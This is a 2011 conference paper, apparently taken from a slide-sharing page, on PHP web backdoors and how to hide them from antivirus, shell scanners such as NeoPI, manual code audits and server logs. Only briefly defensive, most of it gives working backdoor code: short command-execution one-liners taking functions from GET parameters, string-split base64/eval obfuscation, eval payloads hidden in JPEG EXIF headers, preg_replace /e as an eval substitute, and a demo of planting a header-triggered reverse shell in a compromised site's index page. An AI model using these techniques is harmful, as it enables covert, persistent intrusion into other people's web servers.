Web backdoors attacks, evasion, detection

Meet Us at http://www.Garage4Hackers.com FB1H2S

[http://www.Garage4Hackers.com]

[Web Backdoors]
[Attack, Evasion and Detection]
[fb1h2s aka Rahul Sasi]

[G4H 2011]


Abstract: This paper provides insight on common web back doors and how simple manipulations could
make them undetectable by AV and other security suits. Paper explains few techniques that could be
used to render undetectable and unnoticed backdoors inside web applications.

This paper is mainly an update for an old paper of ours Effectiveness of Antivirus in Detecting Web
Application Backdoors, which mainly questioned the effectiveness of AV with respect to web shells and
analysis of a couple of web shells. Current paper takes this topic further and explains a couple of
methodologies that could be used to make stealth application layer backdoors using web scripting
languages .This paper explains various Web Backdoor attacks and evasion techniques that could be used
to stay undetected .

Web Application Backdoors:

They are simple scripts built using web applications programs that would serve an attacker as a
backdoor to the application hosting environment.

Detection Methods [Signature Based Detection]

In this technique the Antivirus software’s need to have the signature of the Backdoor, and for that the
companies should already have had a copy of the backdoor for analyzing.

Evading Signature Based Detection:

We have previously documented how easy it was to bypass signature based detection. Based on further
analysis we were able to conclude that, all most all AV use simple md5 check sum as signature for
detecting common Web backdoors or simple text based signatures, though AV using MD5 or other
check sum for detection is not any new news. This could be a night mare for many sys admin.

A very common backdoor named cybershell.php was scanned with Total Av scanner and following were
the results.

#Analysis 1.1

Sample md5: ef8828e0bc0641a655de3932199c0527

File Name: cybershell.php

Submission date: 2011-08-29 12:00:02 (UTC)

Result: 20 /44 (45.5%)


So for bypassing this it is pretty easy, just add an extra comment line inside the code or strip out few
strings from the code and that would be it.

#Analysis 1.2

Sample md5: 251e62025daf17be22a028baa8d2b506

File Name: cybershell.php

Submission date: 2011-08-29 12:20:42 (UTC)

Result: 0 /44 (00.00%)

We have already documented on how easy it is to bypass AV detection of web backdoors and its pretty
simple and making a document for that it is pointless. May be better ways of detecting them would be a
good scope of research.

Moving on to the main paper, since that we know by now that AV are of no use detecting Web
backdoors, there is no point in finding evasion techniques for them. But there are a handful of good
tools and scripts that could scan and detect such backdoors. And also a server admin who is browsing
though the source of his web server could easily figure out these ugly backdoors. So this paper would be
mainly on how to evade these situations (examples would be in php).

Web Backdoor Shell Detection on Servers (Specialized Tools)
As documented here , the following are few specialized tools that are effective and

1. Web Shell Detection Using NeoPI - A python Script

(https://github.com/Neohapsis/NeoPI)

2. PHP Shell Scanner - A perl Script

(http://ketan.lithiumfox.com/doku.php?id=phpshell_scanner)

3. PHP script to find malicious code on a hacked server - A PHP Script

(http://25yearsofprogramming.com/blog/2010/20100315.htm)

So the logic used by most of these scanners is simply to find all reference to the following
function calls, these functions are mainly used for file management and OS command execution
and are unavoidable parts in web shells.

grep -RPn
"(system|phpinfo|pcntl_exec|python_eval|base64_decode|gzip|mkdir|fopen|fclose|read
file|passthru)" /pathto/webdir/


NeoPI
NeoPI is a Python script that uses a variety of statistical methods to detect obfuscated and
encrypted content within text and script files. The intended purpose of NeoPI is to aid in the
identification of hidden web shell code. The development focus of NeoPI was creating a tool
that could be used in conjunction with other established detection methods such as Linux
Malware Detect or traditional signature/keyword based searches.

[Source]

In the above list NeoPI provides better result than the rest and we will concentrate dealing with this
particular tool. One issues with these tools are, manual assessment is very much required since there
are a lot of false positives.

Few Backdoor codes these scanners will detect.

Php Back tick Method

<?=@`$_`?> //Php Back tick Method

Any code containing any of the above mentioned black listed functions would be caught.

elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v =
@ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents();
@ob_clean(); echo $v;}

The following would be detected as NEOIP has got a mechanism to scan check for natural language, and
the series of encoded values would be flagged.

$code =
“aGVsbG8gYWxsIHRoaXMgaXMganVzdCBhIHRlc3QgZm9yIHRoZSBwYXBlciBub3RoaW5nIGJh
ZCBidWhhIGhhIGhhIGhlbGxvIGFsbCB0aGlzIGlzIGp1c3QgYSB0ZXN0IGZvciB0aGUgcGFwZXIgb
m90aGluZyBiYWQgYnVoYSBoYSBoYWhlbGxvIGFsbCB0aGlzIGlzIGp1c3QgYSB0ZXN0IGZvciB0a
GUgcGFwZXIgbm90aGluZyBiYWQgYnVoYSBoYSBoYWhlbGxvIGFsbCB0aGlzIGlzIGp1c3QgYSB0
ZXN0IGZvciB0aGUgcGFwZXIgbm90aGluZyBiYWQgYnVoYSBoYSBoYQ==”

Decodethis($code)


Evasion Techniques
Evasion #1:

Situation: Admin Might Scan his server with one of the above tools.

Evasion:

Php supports Variable Function :

// following code is detected as base64_decode is detected as malicious
content by one of the above tools

<?php

$badcode =”am_encoded_bad_code_buhaha”;

Eval(base64_decoded($badcode);

?>

An alternate way to bypass the scan would be done the following way.

<?php

$badcode =”am_encoded_bad_code_buhaha” ;

$b = “base”;

$c = “64_”;

$d =”decode”;

alternate = $b.$c.$d;

eval(alternate($badcode);

We will be explaining an alternate for EVAL soon.


Evasion #2:

Situation: Admin manually searches through source code, he could possibly get suspicious the
string like base64 etc, he might spot large encoded strings in his web application files.

Evasion: A simple evasion for making this work would be to make the backdoor code as small
as possible; so that it could be included with other code and remain undetected.

<?

$_ = $_GET[2];

$__= $_GET[1] ;

echo '<pre>'.$_($__).'</pre>';

?>

It could be further shortened to the following format

<?=($_=@$_GET[c]).@$_($_GET[f])?>

These small few lines of code would be able to give command execution. It would be
completely undetectable by any of the above tools and not easily by manual code audits.
Changing the above code from using GET request to POST request would prevent it from
showing up in logs files too.


Evasion #3:

Situation: The applications are audited using some source code audit scanners that detect all
possible user inputs fields and traces possible code injection attacks. Thus taking the input via
_GET and _POST method might get detected.

Evasion:

It’s possible to place data inside JPEG EXIF headers, so we will put all function calls and data
inside an image and assemble them at runtime, that way the inputs would be coming not form
user but form a local source .

<?php

$_ = exif_read_data ('image.jpg');

$d=$_['Make']; //base64_decode

$str = $_['Code']; // Evil Base64_encoded code

eval($d($str)); // eval(base64_decode(code))

?>

Here image.jpeg, could contain all our php code and shell codes, and the exif_read_data tag
could be used to call individual meta tags and function calls could be constructed at runtime.

Similarly we could hide a reverse shell inside an image and place it inside the index page, so
whenever a request to the main page is made with a particular HTTP Header our backdoor
would be triggered, this way it would be less noisy and undetectable by AV, code audits, and any
backdoor hunting script.

Note: An alternate for eval would be using the preg_replace() function with /e switch :

<?php

$code_fb = 'print( 'Hello, fb1h2s !'.PHP_EOL)';

preg_replace('/(.*)/e', $code_fb, '' );

?>


Demo:

The above small piece of code is injected into index page of a compromised site.
The image with the actual malicious code is added to sites /images directory.
Code is triggered on a particular HTTP header may be user_agent == w1d0ws.
On accessing the index page we will get a reverse shell.

Benefits:

Backdoor remains undetected from shell scanners and AV
Remains undetected form code auditing software’s.
No traces in log files

Here is how it looks:

Am an innocent page 

Request:


Shell Obtained:

Improvements:

The POC code/demo would have a PHP code that would be able to load shell codes and provide connect
back shell.

Thanks for Reading,

Fb1h2s @ gmail.com

http://www.Garage4Hackers.com

[This paper was presented and demos were given at C0C0N Sec Conference 2011 Oct -9 ]

Web backdoors attacks, evasion, detection

More Related Content

What's hot (20)

Viewers also liked (20)

Similar to Web backdoors attacks, evasion, detection (20)

More from n|u - The Open Security Community (20)

Recently uploaded (20)

Web backdoors attacks, evasion, detection